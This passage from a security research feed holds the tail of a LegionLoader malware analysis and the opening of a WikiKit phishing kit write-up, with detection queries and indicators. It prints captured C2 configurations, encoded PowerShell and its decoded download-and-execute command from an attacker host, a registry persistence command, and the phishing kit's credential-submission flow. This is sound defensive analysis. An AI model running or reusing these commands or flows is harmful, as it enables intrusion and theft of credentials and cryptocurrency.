src="https://cdn-images-1.medium.com/max/1024/1*eDtjpdT2kZCUSF2P-VMM0w.png" /><figcaption>The encrypted core LegionLoader payload</figcaption></figure><p>The shellcode gets the path to the explorer.exe process and injects the core LegionLoader payload into the explorer.exe process via the process hollowing injection technique, as shown below. It’s worth mentioning that the APIs are hashed with CRC32.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aRkS19_jXHfkLO8rUzDFvA.png" /><figcaption>Getting explorer.exe path and performing process hollowing on the decrypted payload</figcaption></figure><h3>LegionLoader</h3><p>After connecting to the hardcoded C2 in the binary, LegionLoader receives the response with the configuration that is Base64-encoded and RC4 encrypted. The RC4 key 079FB5014960AE886DAA979650AF571EA6787CA45F5CCEFE312104DEDBC0DF3D has not changed since at least 2023.</p><p>For the initial request, the loader would generate a random sequence of characters by using a Mersenne Twister random number generator to index into a predefined set of alphanumeric 62 values and fill the output buffer with these characters; in total, there will be 16 characters appended to a= to form the GET request sent to the C2 server, for example, /test_gate0117.php?a=0RLOGyBKmftm6wU.</p><p>We have consistently observed threat actors using test_gate0117 for the GET requests.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XBkiLjwADmaz1WYRlvZz6A.png" /><figcaption>Response received from the C2 server</figcaption></figure><pre>{<br>    &quot;count&quot;: &quot;0&quot;,<br>    &quot;nonencrypt&quot;: &quot;false&quot;,<br>    &quot;dll&quot;: &quot;false&quot;,<br>    &quot;pops&quot;: &quot;false&quot;,<br>    &quot;int_point&quot;: &quot;PluginInit&quot;,<br>    &quot;manual_start&quot;: {<br>        &quot;url&quot;: &quot;https://gulbur[.]com/1488/236.bin&quot;,<br>        &quot;key&quot;: &quot;7140D3852C128C498CB8EDB657AE1880&quot;<br>    },<br>    &quot;postback&quot;: &quot;true&quot;,<br>    &quot;geo&quot;: &quot;GB&quot;,<br>    &quot;crypto_domain&quot;: &quot;google.com&quot;,<br>    &quot;powershell&quot;: &quot;cG93ZXJzaGVsbCAtd2luZG93c3R5bGUgaGlkZGVuIC1lIEpBQjNBRDBBYmdCbEFIY0FMUUJ2QUdJQWFnQmxBR01BZEFBZ0FGTUFlUUJ6QUhRQVpRQnRBQzRBVGdCbEFIUUFMZ0JYQUdVQVlnQmpBR3dBYVFCbEFHNEFkQUE3QUNRQVlnQnpBRDBBSkFCM0FDNEFSQUJ2QUhjQWJnQnNBRzhBWVFCa0FGTUFkQUJ5QUdrQWJnQm5BQ2dBSWdCb0FIUUFkQUJ3QUhNQU9nQXZBQzhBYkFCaEFITUFkQUF0QUdJQWJBQnBBRzRBYXdBdUFHTUFid0J0QUM4QU1nQTNBREFBT1FBdUFHSUFjd0EyQURRQUlnQXBBRHNBV3dCQ0FIa0FkQUJsQUZzQVhRQmRBQ0FBSkFCNEFEMEFXd0JEQUc4QWJnQjJBR1VBY2dCMEFGMEFPZ0E2QUVZQWNnQnZBRzBBUWdCaEFITUFaUUEyQURRQVV3QjBBSElBYVFCdUFHY0FLQUFrQUdJQWN3QXVBRklBWlFCd0FHd0FZUUJqQUdVQUtBQWlBQ0VBSWdBc0FDSUFZZ0FpQUNrQUxnQlNBR1VBY0FCc0FHRUFZd0JsQUNnQUlnQkFBQ0lBTEFBaUFHZ0FJZ0FwQUM0QVVnQmxBSEFBYkFCaEFHTUFaUUFvQUNJQUpBQWlBQ3dBSWdCdEFDSUFLUUF1QUZJQVpRQndBR3dBWVFCakFHVUFLQUFpQUNVQUlnQXNBQ0lBY0FBaUFDa0FMZ0JTQUdVQWNBQnNBR0VBWXdCbEFDZ0FJZ0JlQUNJQUxBQWlBSFlBSWdBcEFDa0FPd0JtQUc4QWNnQW9BQ1FBYVFBOUFEQUFPd0FrQUdrQUlBQXRBR3dBZEFBZ0FDUUFlQUF1QUVNQWJ3QjFBRzRBZEFBN0FDUUFhUUFyQUNzQUtRQjdBQ1FBZUFCYkFDUUFhUUJkQUQwQUlBQW9BQ1FBZUFCYkFDUUFhUUJkQUNBQUxRQmlBSGdBYndCeUFDQUFNUUEyQURjQUtRQWdBQzBBWWdCNEFHOEFjZ0FnQURFQU9BQjlBRHNBYVFCbEFIZ0FLQUJiQUZNQWVRQnpBSFFBWlFCdEFDNEFWQUJsQUhnQWRBQXVBRVVBYmdCakFHOEFaQUJwQUc0QVp3QmRBRG9BT2dCVkFGUUFSZ0E0QUM0QVJ3QmxBSFFBVXdCMEFISUFhUUJ1QUdjQUtBQWtBSGdBS1FBcEFBPT0=&quot;,<br>    &quot;moderation&quot;: &quot;false&quot;,<br>    &quot;postback_id&quot;: &quot;false&quot;,<br>    &quot;postback_url&quot;: &quot;l-back.com&quot;,<br>    &quot;postback_path&quot;: &quot;click?cnv_id=&quot;<br>}</pre><p>The “count” means the number of times a certain task should be run, for example, executing a DLL, batch file, or an executable file.</p><ul><li><strong>nonencrypt </strong>(True or False) — means whether the payload is not encrypted or encrypted.</li><li><strong>dll </strong>(True or False) is the DLL payload retrieved from C2.</li><li><strong>int_point </strong>— likely represents the export function for the DLL to run (“PluginInit”).</li><li><strong>geo </strong>— the country of the infected machine.</li><li><strong>powershell </strong>— specifies the PowerShell base64-encoded command to run on the victim’s machine.</li><li><strong>postback </strong>— the parameter is likely used to track if the loader has been successfully executed.</li><li><strong>postback_id </strong>— a unique identifier for cnv_id (is not present in all configurations)</li><li><strong>postback_url </strong>— the URL that receives the tracking information.</li><li><strong>postback_path </strong>— path to the postback URL.</li><li><strong>manual start</strong> — contains the URL hosting an additional payload with the XTEA decryption key.</li><li><strong>moderation </strong>(True or False) — likely determines whether the additional payload processing happens (for bat, exe, and DLL files retrieved from the C2)</li></ul><p>The PowerShell base64-encoded command in the configuration retrieves the <a href="https://www.esentire.com/blog/lummac2-malware-and-malicious-chrome-extension-delivered-via-dll-side-loading">malicious Chrome extension</a> that can alter email content, withdraw cryptocurrency funds, capture the screenshots of Chrome tab,s and collect system information:</p><pre>powershell -windowstyle hidden -e JAB3AD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBjAGwAaQBlAG4AdAA7ACQAYgBzAD0AJAB3AC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwAHMAOgAvAC8AbABhAHMAdAAtAGIAbABpAG4AawAuAGMAbwBtAC8AMgA3ADAAOQAuAGIAcwA2ADQAIgApADsAWwBCAHkAdABlAFsAXQBdACAAJAB4AD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAcwAuAFIAZQBwAGwAYQBjAGUAKAAiACEAIgAsACIAYgAiACkALgBSAGUAcABsAGEAYwBlACgAIgBAACIALAAiAGgAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAJAAiACwAIgBtACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACUAIgAsACIAcAAiACkALgBSAGUAcABsAGEAYwBlACgAIgBeACIALAAiAHYAIgApACkAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgACQAeAAuAEMAbwB1AG4AdAA7ACQAaQArACsAKQB7ACQAeABbACQAaQBdAD0AIAAoACQAeABbACQAaQBdACAALQBiAHgAbwByACAAMQA2ADcAKQAgAC0AYgB4AG8AcgAgADEAOAB9ADsAaQBlAHgAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHgAKQApAA==</pre><p>Decoded PowerShell command:</p><pre>$w=new-objectSystem.Net.Webclient;$bs=$w.DownloadString(&quot;https://last-blink[.]com/2709.bs64&quot;);[Byte[]]$x=[Convert]::FromBase64String($bs.Replace(&quot;!&quot;,&quot;b&quot;).Replace(&quot;@&quot;,&quot;h&quot;).Replace(&quot;$&quot;,&quot;m&quot;).Replace(&quot;%&quot;,&quot;p&quot;).Replace(&quot;^&quot;,&quot;v&quot;));for($i=0;$i-lt$x.Count;$i++){$x[$i]=($x[$i]-bxor167)-bxor18};iex([System.Text.Encoding]::UTF8.GetString($x))</pre><p>While analyzing the binary, we discovered an additional parameter, file_ext, not mentioned in the fetched configuration. This parameter determines the file extension of the next-stage payload, which could be .bat, .exe, or .dll, as shown below. Analyzing other payloads, we found that the configuration can contain file_ext1 and file_ext2 for .exe and .dll files, respectively, along with url1 and url2 for the C2 servers hosting the payloads. This suggests the loader’s configuration can be easily customized to suit the threat actor’s specific needs.</p><pre>{<br>    &quot;url1&quot;: &quot;https://1blob[.]monster/pidaras/170.exe&quot;,<br>    &quot;url2&quot;: &quot;https://2j[.]tel/WCorprIIFS&quot;,<br>    &quot;count&quot;: &quot;2&quot;,<br>    &quot;file_ext1&quot;: &quot;exe&quot;,<br>    &quot;file_ext2&quot;: &quot;dll&quot;,<br>    &quot;nonencrypt&quot;: &quot;false&quot;,<br>    &quot;dll&quot;: &quot;false&quot;,<br>    &quot;pops&quot;: &quot;false&quot;,<br>    &quot;int_point&quot;: &quot;PluginInit&quot;,<br>    &quot;manual_start&quot;: null,<br>    &quot;postback&quot;: &quot;true&quot;,<br>    &quot;geo&quot;: &quot;RO&quot;,<br>    &quot;crypto_domain&quot;: &quot;mix&quot;,<br>    &quot;powershell&quot;: &quot;cG93ZXJzaGVsbCAtd2luZG93c3R5bGUgaGlkZGVuIC1lIEpBQjNBRDBBYmdCbEFIY0FMUUJ2QUdJQWFnQmxBR01BZEFBZ0FGTUFlUUJ6QUhRQVpRQnRBQzRBVGdCbEFIUUFMZ0JYQUdVQVlnQmpBR3dBYVFCbEFHNEFkQUE3QUNRQVlnQnpBRDBBSkFCM0FDNEFSQUJ2QUhjQWJnQnNBRzhBWVFCa0FGTUFkQUJ5QUdrQWJnQm5BQ2dBSWdCb0FIUUFkQUJ3QURvQUx3QXZBR2NBYndCdkFHUUFNZ0F0QUd3QVpRQmtBQzRBWXdCdkFHMEFMd0JrQUdFQWNnQnJBRFFBTGdCaUFITUFOZ0EwQUNJQUtRQTdBRnNBUWdCNUFIUUFaUUJiQUYwQVhRQWdBQ1FBZUFBOUFGc0FRd0J2QUc0QWRnQmxBSElBZEFCZEFEb0FPZ0JHQUhJQWJ3QnRBRUlBWVFCekFHVUFOZ0EwQUZNQWRBQnlBR2tBYmdCbkFDZ0FKQUJpQUhNQUxnQlNBR1VBY0FCc0FHRUFZd0JsQUNnQUlnQWhBQ0lBTEFBaUFHSUFJZ0FwQUM0QVVnQmxBSEFBYkFCaEFHTUFaUUFvQUNJQVFBQWlBQ3dBSWdCa0FDSUFLUUF1QUZJQVpRQndBR3dBWVFCakFHVUFLQUFpQUNRQUlnQXNBQ0lBWndBaUFDa0FMZ0JTQUdVQWNBQnNBR0VBWXdCbEFDZ0FJZ0FsQUNJQUxBQWlBRzBBSWdBcEFDNEFVZ0JsQUhBQWJBQmhBR01BWlFBb0FDSUFYZ0FpQUN3QUlnQnpBQ0lBS1FBcEFEc0FaZ0J2QUhJQUtBQWtBR2tBUFFBd0FEc0FKQUJwQUNBQUxRQnNBSFFBSUFBa0FIZ0FMZ0JEQUc4QWRRQnVBSFFBT3dBa0FHa0FLd0FyQUNrQWV3QWtBSGdBV3dBa0FHa0FYUUE5QUNBQUtBQWtBSGdBV3dBa0FHa0FYUUFnQUMwQVlnQjRBRzhBY2dBZ0FERUFOZ0EzQUNrQUlBQXRBR0lBZUFCdkFISUFJQUF4QURnQWZRQTdBR2tBWlFCNEFDZ0FXd0JUQUhrQWN3QjBBR1VBYlFBdUFGUUFaUUI0QUhRQUxnQkZBRzRBWXdCdkFHUUFhUUJ1QUdjQVhRQTZBRG9BVlFCVUFFWUFPQUF1QUVjQVpRQjBBRk1BZEFCeUFHa0FiZ0JuQUNnQUpBQjRBQ2tBS1FBPQ==&quot;,<br>    &quot;moderation&quot;: &quot;false&quot;,<br>    &quot;postback_id&quot;: &quot;74079gmntbg8w3y635&quot;,<br>    &quot;postback_url&quot;: &quot;raur94.com&quot;,<br>    &quot;postback_path&quot;: &quot;gAySB.php?cnv_id=&quot;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5kFSJ-VSuczql6yDAvL0fw.png" /><figcaption>The flow of extension execution</figcaption></figure><p>Based on the file extension, the loader would leverage the following:</p><ul><li>The encrypted file retrieved from the C2 server is placed in the %TEMP% folder, with a filename generated using the Mersenne Twister algorithm (16 characters long), followed by the .dat extension (e.g., vaYcTXaC84DehVv..dat, with an extra dot included). If the decrypted file is an executable, it is renamed to svchost.exe and placed in a subfolder under %TEMP% with a randomly generated name, again using the Mersenne Twister algorithm (16 characters).</li><li>If the file is a DLL, the rundll32.exe will be used to execute the file.</li><li>If it’s the batch file, the ShellExecuteA function is used to launch the file.</li></ul><p>Apart from the fetched configuration, LegionLoader also contains the RC4-encrypted hardcoded strings shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WxMVL5iXeq3H5rvjFBQyKA.png" /><figcaption>Encrypted hardcoded strings</figcaption></figure><p>Decrypted strings:</p><pre>8.8.8.8<br>dns-beast.com<br>Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko<br>test_gate0117.php<br>&amp;value=1<br>gate2.php?a=<br>complete-s.monster<br>error.php?text=<br>\Google\Chrome\User Data\Local State</pre><p>LegionLoader can send DNS requests to domains like dns-beast[.]com to retrieve an encrypted C2 address, which is then used to download the next-stage payloads. However, in this case, LegionLoader leveraged a hardcoded C2 address in plaintext to fetch a configuration file containing another C2 URL, which was then used to retrieve the next-stage payload.</p><p>In some samples, we observed the payload sending data to a secondary C2 (complete-s.monster/error.php?text=), which includes a malicious PowerShell command from tasks defined by the shell_body argument. Additionally, the “status” and “last_win_error” arguments are likely used to track the task execution results and report any errors that may have occurred during execution. Besides the arguments mentioned, the recent binary also has such arguments as windows_version, status_code, file_number, and file_statuses.</p><pre>{<br>    &quot;shell_body&quot;: &quot;cG93ZXJzaGVsbCAtd2luZG93c3R5bGUgaGlkZGVuIC1lIEpBQjNBRDBBYmdCbEFIY0FMUUJ2QUdJQWFnQmxBR01BZEFBZ0FGTUFlUUJ6QUhRQVpRQnRBQzRBVGdCbEFIUUFMZ0JYQUdVQVlnQmpBR3dBYVFCbEFHNEFkQUE3QUNRQVlnQnpBRDBBSkFCM0FDNEFSQUJ2QUhjQWJnQnNBRzhBWVFCa0FGTUFkQUJ5QUdrQWJnQm5BQ2dBSWdCb0FIUUFkQUJ3QURvQUx3QXZBR2NBYndCdkFHUUFNZ0F0QUd3QVpRQmtBQzRBWXdCdkFHMEFMd0JrQUdFQWNnQnJBRFFBTGdCaUFITUFOZ0EwQUNJQUtRQTdBRnNBUWdCNUFIUUFaUUJiQUYwQVhRQWdBQ1FBZUFBOUFGc0FRd0J2QUc0QWRnQmxBSElBZEFCZEFEb0FPZ0JHQUhJQWJ3QnRBRUlBWVFCekFHVUFOZ0EwQUZNQWRBQnlBR2tBYmdCbkFDZ0FKQUJpQUhNQUxnQlNBR1VBY0FCc0FHRUFZd0JsQUNnQUlnQWhBQ0lBTEFBaUFHSUFJZ0FwQUM0QVVnQmxBSEFBYkFCaEFHTUFaUUFvQUNJQVFBQWlBQ3dBSWdCa0FDSUFLUUF1QUZJQVpRQndBR3dBWVFCakFHVUFLQUFpQUNRQUlnQXNBQ0lBWndBaUFDa0FMZ0JTQUdVQWNBQnNBR0VBWXdCbEFDZ0FJZ0FsQUNJQUxBQWlBRzBBSWdBcEFDNEFVZ0JsQUhBQWJBQmhBR01BWlFBb0FDSUFYZ0FpQUN3QUlnQnpBQ0lBS1FBcEFEc0FaZ0J2QUhJQUtBQWtBR2tBUFFBd0FEc0FKQUJwQUNBQUxRQnNBSFFBSUFBa0FIZ0FMZ0JEQUc4QWRRQnVBSFFBT3dBa0FHa0FLd0FyQUNrQWV3QWtBSGdBV3dBa0FHa0FYUUE5QUNBQUtBQWtBSGdBV3dBa0FHa0FYUUFnQUMwQVlnQjRBRzhBY2dBZ0FERUFOZ0EzQUNrQUlBQXRBR0lBZUFCdkFISUFJQUF4QURnQWZRQTdBR2tBWlFCNEFDZ0FXd0JUQUhrQWN3QjBBR1VBYlFBdUFGUUFaUUI0QUhRQUxnQkZBRzRBWXdCdkFHUUFhUUJ1QUdjQVhRQTZBRG9BVlFCVUFFWUFPQUF1QUVjQVpRQjBBRk1BZEFCeUFHa0FiZ0JuQUNnQUpBQjRBQ2tBS1FBPQ==&quot;,<br>    &quot;status&quot;: 1,<br>    &quot;last_win_error&quot;: 0<br>}</pre><p>“&amp;value=1” from the decrypted string is getting passed to form the tracking URL, for example, l-back[.]com/gAySB.php?cnv_id=74079gmntbg8w3y635&amp;value=1</p><p>\Google\Chrome\User Data\Local State — is the folder where the loader extracts the decryption key for Chrome credentials and other sensitive data.</p><p>LegionLoader started to encrypt their next-stage payloads, which will be later decrypted within the shellcode, which is, again, encrypted with XTEA. So far, we have seen LummaC2 and StealC being dropped, and previously, it was RisePro before they shut down their services.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nn5H6fyhNFeFLdvTLYxgRA.png" /><figcaption>Function to decrypt the next stage payload</figcaption></figure><h3>Indicators of Compromise</h3><p>You can access the indicators of compromise <a href="https://gist.github.com/RussianPanda95/d70523278256429ae95c6c92cfb82f78">here</a>.</p><h3><strong>Detection suggestions</strong></h3><p>1. Monitor for the GET requests with URL patterns such as:</p><ul><li>/gate2.php?a=</li><li>/test_gate0117.php?a</li><li>/gAySB.php?</li><li>/licenseUser.php</li></ul><p>2. Monitor for svchost.exe file dropped under “%TEMP%\\[A-Za-z0–9]{16}\svchost.exe”.</p><p>3. Monitor for ZIP files dropped under the Downloads folder and MSI file execution with the naming convention such as app__v7.2.5_.zip, app__v6.28.1_.zip, and so on.</p><p>4. Monitor for the explorer.exe process when reaching out to suspicious IPs.</p><p>5. Monitor for suspicious base64-encoded commands spawning from the PowerShell process.</p><p>6. Look for outbound connections from Chrome process to multiple crypto domains shown below within a short period of time:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*A3L5c13F6l-suoAPQF9SUw.png" /><figcaption>Outbound network connections from the Chrome process originating from the malicious extension</figcaption></figure><p>7. Check for malicious Chrome extension named “Save to Google Drive” located under “\AppData\Local\[A-Za-z0–9]{14}, for example, C:\Users\username\AppData\Local\PpEgTomIkqhROf”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*teBInHiOdM2HkURe8g9CXw.png" /><figcaption>Malicious Chrome extension</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*lAvY6KNn6dccw_Twh2ReUw.png" /><figcaption>Contents of the malicious Chrome extension folder</figcaption></figure><h3>Rules and Detection Queries</h3><p>Yara rules can be accessed <a href="https://github.com/RussianPanda95/Yara-Rules/tree/main/LegionLoader">here</a>.</p><p>Sigma rules can be accessed <a href="https://github.com/RussianPanda95/Sigma-Rules/tree/main/LegionLoader">here</a>.</p><h4>KQL Queries</h4><p>Process injection into explorer.exe spawning powershell.exe:</p><pre>DeviceProcessEvents<br>| where ProcessCommandLine == &quot;powershell.exe -windowstyle hidden -e&quot;<br>| where InitiatingProcessFileName == &quot;explorer.exe&quot;<br>| project TimeGenerated, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, AccountName, InitiatingProcessId, ProcessId<br>| order by TimeGenerated desc</pre><p>Or alternative query to detect LegionLoader process injection:</p><pre>DeviceEvents<br>| where ProcessCommandLine == &quot;C:\\WINDOWS\\SysWOW64\\explorer.exe explorer.exe&quot;</pre><p>DLL side-loading (LegionLoader has been leveraging NVIDIA GeForce Experience.exe, steamerrorreporter64.exe, rand npkeys.exe to perform DLL-sideloading):</p><pre>DeviceImageLoadEvents<br>| where InitiatingProcessFolderPath has &quot;AppData\\Roaming&quot;<br>| where InitiatingProcessFileName in (&quot;NVIDIA GeForce Experience.exe&quot;, &quot;steamerrorreporter64.exe&quot;, &quot;rnpkeys.exe&quot;)<br>| where FolderPath has_any (&quot;libcef.dll&quot;, &quot;vstdlib_s64.dll&quot;, &quot;rnp.dll&quot;)<br>| project TimeGenerated, DeviceName, InitiatingProcessFolderPath, InitiatingProcessFileName, FolderPath, FileName<br>| order by TimeGenerated desc</pre><p>This bypassed Defender in the lab, injection into BitLockerToGo:</p><pre>DeviceProcessEvents<br>| where FileName has &quot;BitLockerToGo.exe&quot;<br>| where InitiatingProcessFileName endswith &quot;.exe&quot;<br>| where InitiatingProcessFolderPath contains &quot;appdata\\local\\temp&quot;<br>| project TimeGenerated, InitiatingProcessFileName, InitiatingProcessFolderPath, FileName, FolderPath, ProcessCommandLine, InitiatingProcessId, ProcessId<br>| order by TimeGenerated desc</pre><p>Persistence in the Registry Run Key (the purpose of LegionLoader running BitLockerToGo.exe by itself is unknown):</p><pre>DeviceProcessEvents<br>| where ProcessCommandLine == &quot;powershell -WindowStyle hidden -Command \&quot;if (-Not (Test-Path \\\&quot;HKCU:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\App\\\&quot;)) { Set-ItemProperty -Path \\\&quot;HKCU:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\&quot; -Name \\\&quot;App\\\&quot; -Value \\\&quot;C:\\Windows\\BitLockerDiscoveryVolumeContents\\BitLockerToGo.exe\\\&quot; }\&quot;&quot;</pre><h4>References</h4><p><a href="https://github.com/mandatoryprogrammer/CursedChrome">https://github.com/mandatoryprogrammer/CursedChrome</a></p><p><a href="https://securelist.com/satacom-delivers-cryptocurrency-stealing-browser-extension/109807/">https://securelist.com/satacom-delivers-cryptocurrency-stealing-browser-extension/109807/</a></p><p><a href="https://x.com/anyrun_app/status/1828798277828890788">https://x.com/anyrun_app/status/1828798277828890788</a></p><ul><li><a href="https://github.com/RussianPanda95/Configuration_extractors/blob/main/xtea_decrypt.py">Configuration_extractors/xtea_decrypt.py at main · RussianPanda95/Configuration_extractors</a></li><li><a href="https://github.com/RussianPanda95/Sigma-Rules/tree/main/LegionLoader">Sigma-Rules/LegionLoader at main · RussianPanda95/Sigma-Rules</a></li><li><a href="https://github.com/RussianPanda95/Yara-Rules/tree/main/LegionLoader">Yara-Rules/LegionLoader at main · RussianPanda95/Yara-Rules</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6af38ebe39d4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WikiKit AiTM Phishing Kit: Where Links Tell Lies]]></title>
            <link>https://medium.com/@malbearlabs/wikikit-aitm-phishing-kit-where-links-tell-lies-abdea71ba094?source=rss-6a3005ed0ee2------2</link>
            <guid isPermaLink="false">https://medium.com/p/abdea71ba094</guid>
            <category><![CDATA[social-engineering]]></category>
            <category><![CDATA[phishing]]></category>
            <category><![CDATA[cybercrime]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <dc:creator><![CDATA[Malbear Labs]]></dc:creator>
            <pubDate>Thu, 19 Dec 2024 19:52:24 GMT</pubDate>
            <atom:updated>2025-01-16T22:39:49.673Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LMhTnSU5Kl2CagHKV1VIEA.png" /></figure><blockquote><strong>January 9, 2025 Update:</strong> In the post, we incorrectly stated that using Jimdosite was distinctive to WikiKit. This is not accurate. The actor(s) using Jimdosite appear to be customers of WikiKit and may also be customers of the actual creators of the landing pages.<br>We have also added additional hunting queries utilizing VirusTotal Enterprise, URLScan PRO and Validin (refer to the Threat Hunting section).</blockquote><p>TRAC Labs has recently identified a phishing kit, which we have named <strong>WikiKit </strong>because of its functionality to redirect to Wikipedia pages if the JavaScript is disabled or the phishing link is invalid.</p><p>This particular phishing campaign began in early October 2024, targeting the automotive, manufacturing, medical, construction, consulting, and entertainment industries.</p><p>What is distinctive about the WikiKit phishing campaign is its use of landing pages hosted on <a href="https://www.jimdo.com/">Jimdosite</a>, featuring the targeted company’s logo in the background, as shown below. These pages prompt users to click on Review Document Here, which redirects them to a credential harvesting page, as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kFc0u4iOf8lTo-1jWNaHGw.png" /><figcaption>Landing page</figcaption></figure><p>The threat actor or group initially gains unauthorized access to various corporate credentials associated with the landing pages listed in the IOC section. They then leverage the compromised user’s email account to further distribute phishing links. These emails often include an “attachment” with an embedded link. Some of these links begin with app.salesforceiq.com to give users the impression that the URL is part of a legitimate Salesforce redirect, increasing the likelihood of user trust and interaction, for example hxxps://app.salesforceiq[.]com/r?target=&lt;redacted&gt;&amp;url=hxxps://&lt;victim-lookalike-domain&gt;.jimdosite.com. Previously, the Google Ads services were used for the <a href="https://www.virustotal.com/gui/url/f0cd2082be6e5a95cc84148baa75df952976a2834ea22b0bc9c85e2aeb218dc7">redirects</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xOtbpYSWbaD_1tyWbI7Mtg@2x.png" /><figcaption>WikiKit infection chain</figcaption></figure><p>The victim would be presented with the landing page mentioned above. The text below is similar across all landing pages:</p><blockquote>New PDF Document Received</blockquote><blockquote>You’ve (2) new PDF Documents for your review<br>Please sign and return</blockquote><p>Upon clicking on Review Document Here the user is faced with Cloudflare Tursntile CAPTCHA check.</p><p>The &lt;noscript&gt; tag provides alternative content or behavior when the JavaScript id disabled. So, the redirection would take place.</p><p>We have analyzed a few samples, where the redirect links would be one of the following:</p><ul><li><a href="https://href.li/?https://en.wikipedia.org/wiki/Category:Office_365">https://href.li/?https://en.wikipedia.org/wiki/Category:Office_365</a></li><li><a href="https://href.li/?https://en.wikipedia.org/wiki/List_of_Microsoft_365_Applications">https://href.li/?https://en.wikipedia.org/wiki/List_of_Microsoft_365_Applications</a></li><li><a href="https://href.li/?https://en.wikipedia.org/wiki/Internet_Explorer_11">https://href.li/?https://en.wikipedia.org/wiki/Internet_Explorer_11</a></li><li><a href="https://href.li/?https://en.wikipedia.org/wiki/Windows_Server_2019">https://href.li/?https://en.wikipedia.org/wiki/Windows_Server_2019</a></li><li><a href="https://href.li/?https://en.wikipedia.org/wiki/Email">https://href.li/?https://en.wikipedia.org/wiki/Email</a></li><li><a href="https://href.li/?https://en.wikipedia.org/wiki/Email_client">https://href.li/?https://en.wikipedia.org/wiki/Email_client</a></li><li><a href="https://href.li/?https://en.wikipedia.org/wiki/Microsoft_365">https://href.li/?https://en.wikipedia.org/wiki/Microsoft_365</a></li><li><a href="https://href.li/?https://en.wikipedia.org/wiki/Client_access_license">https://href.li/?https://en.wikipedia.org/wiki/Client_access_license</a></li><li><a href="https://href.li/?https://en.wikipedia.org/wiki/Windows_Server_2016">https://href.li/?https://en.wikipedia.org/wiki/Windows_Server_2016</a></li><li><a href="https://href.li/?https://en.wikipedia.org/wiki/Microsoft_Exchange_Server">https://href.li/?https://en.wikipedia.org/wiki/Microsoft_Exchange_Server</a></li><li><a href="https://href.li/?https://en.wikipedia.org/wiki/List_of_Microsoft_365_Applications">https://href.li/?https://en.wikipedia.org/wiki/List_of_Microsoft_365_Applications</a></li><li><a href="https://href.li/?https://en.wikipedia.org/wiki/Microsoft_Office_Mix">https://href.li/?https://en.wikipedia.org/wiki/Microsoft_Office_Mix</a></li><li><a href="https://href.li/?https://en.wikipedia.org/wiki/Category:Office_365">https://href.li/?https://en.wikipedia.org/wiki/Category:Office_365</a></li></ul><p>WikiKit is consistently using href.li anonymizing service for redirects.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q_U3jRqCa5BBtJOnJE_SKg.png" /><figcaption>Source code of /verify</figcaption></figure><p>Upon entering the email address, the request is sent to hxxps://yugaljeeautomotive[.]com/z/pro/mentanance/auth/rUADZcQ3GvV5Gl0r8ijP2l0EbMGF93CFwuqd54Zosi9LiJYgAQtjQfSDI4kmB7RER8PNhNEeClpv8A6z6dboxLHvHSapudmgeIsmHLzTXsq5SWuxcUr4Kqfnyoo1O7WBTk2fV9MkgPy0KwxBOXJIRo/validate to validate the email address. If the email is correct the server responds with the following:</p><pre>{<br>    &quot;live&quot;: true,<br>    &quot;grablogo&quot;: &quot;1&quot;,<br>    &quot;email&quot;: &quot;email address&quot;,<br>    &quot;icon&quot;: &quot;https://aadcdn.msauthimages.net/&lt;redacted&gt;&quot;,<br>    &quot;background&quot;: &quot;https://aadcdn.msauthimages.net/&lt;redacted&gt;&quot;<br>}</pre><p>Where:</p><ul><li>live — indicates whether the email provided by the user is considered valid or not (true or false).</li><li>grablogo — acts as a flag to determine whether dynamic branding should be applied to the phishing page (1 or 0).</li><li>email — represents the email address provided by the victim during the phishing process.</li><li>icon — a URL pointing to an image file (a logo).</li><li>background — a URL pointing to a background image.</li></ul><p>After the user enters the valid credentials, it gets sent to the server:</p><pre>em=email_address<br>pa=password</pre><p>The response from the server would contain the following example:</p><pre>{<br>    &quot;live&quot;: true,<br>    &quot;email&quot;: &quot;email address&quot;,<br>    &quot;twofactor&quot;: true,<br>    &quot;role&quot;: false,<br>    &quot;edu&quot;: false,<br>    &quot;type&quot;: &quot;business&quot;,<br>    &quot;twofactor_info&quot;: [<br>        {<br>            &quot;method_name&quot;: &quot;PhoneAppOTP&quot;,<br>            &quot;display&quot;: &quot;&quot;,<br>            &quot;isDefault&quot;: true<br>        },<br>        {<br>            &quot;method_name&quot;: &quot;PhoneAppNotification&quot;,<br>            &quot;display&quot;: &quot;&quot;,<br>            &quot;isDefault&quot;: false<br>        }<br>    ]<br>}</pre><p>If a specific authentication method is not marked as the default (isDefault is false), that method is hidden from the 